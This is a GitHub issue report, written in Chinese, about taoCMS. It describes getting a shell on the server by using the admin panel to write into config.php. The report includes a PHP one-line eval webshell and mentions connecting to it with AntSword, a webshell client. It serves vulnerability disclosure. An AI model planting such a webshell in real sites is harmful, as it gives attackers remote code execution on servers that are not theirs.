search

taogogo / taocms

taoCMS is an incredible tiny CMS( Content Management System) , writen in PHP and support MySQL/Sqlite as the database(MIT License)
MIT License
60 stars 21 forks source link

可通过后台修改config.php文件导致getshell #33

Open suifeng-kali opened 2 years ago

suifeng-kali commented 2 years ago

进入后台，编辑其他文件都权限不足导致保存失败 image 但是可以编辑config.php文件 image 写一个一句话木马 @eval($_POST['attack']); image image 然后蚁剑连接 image image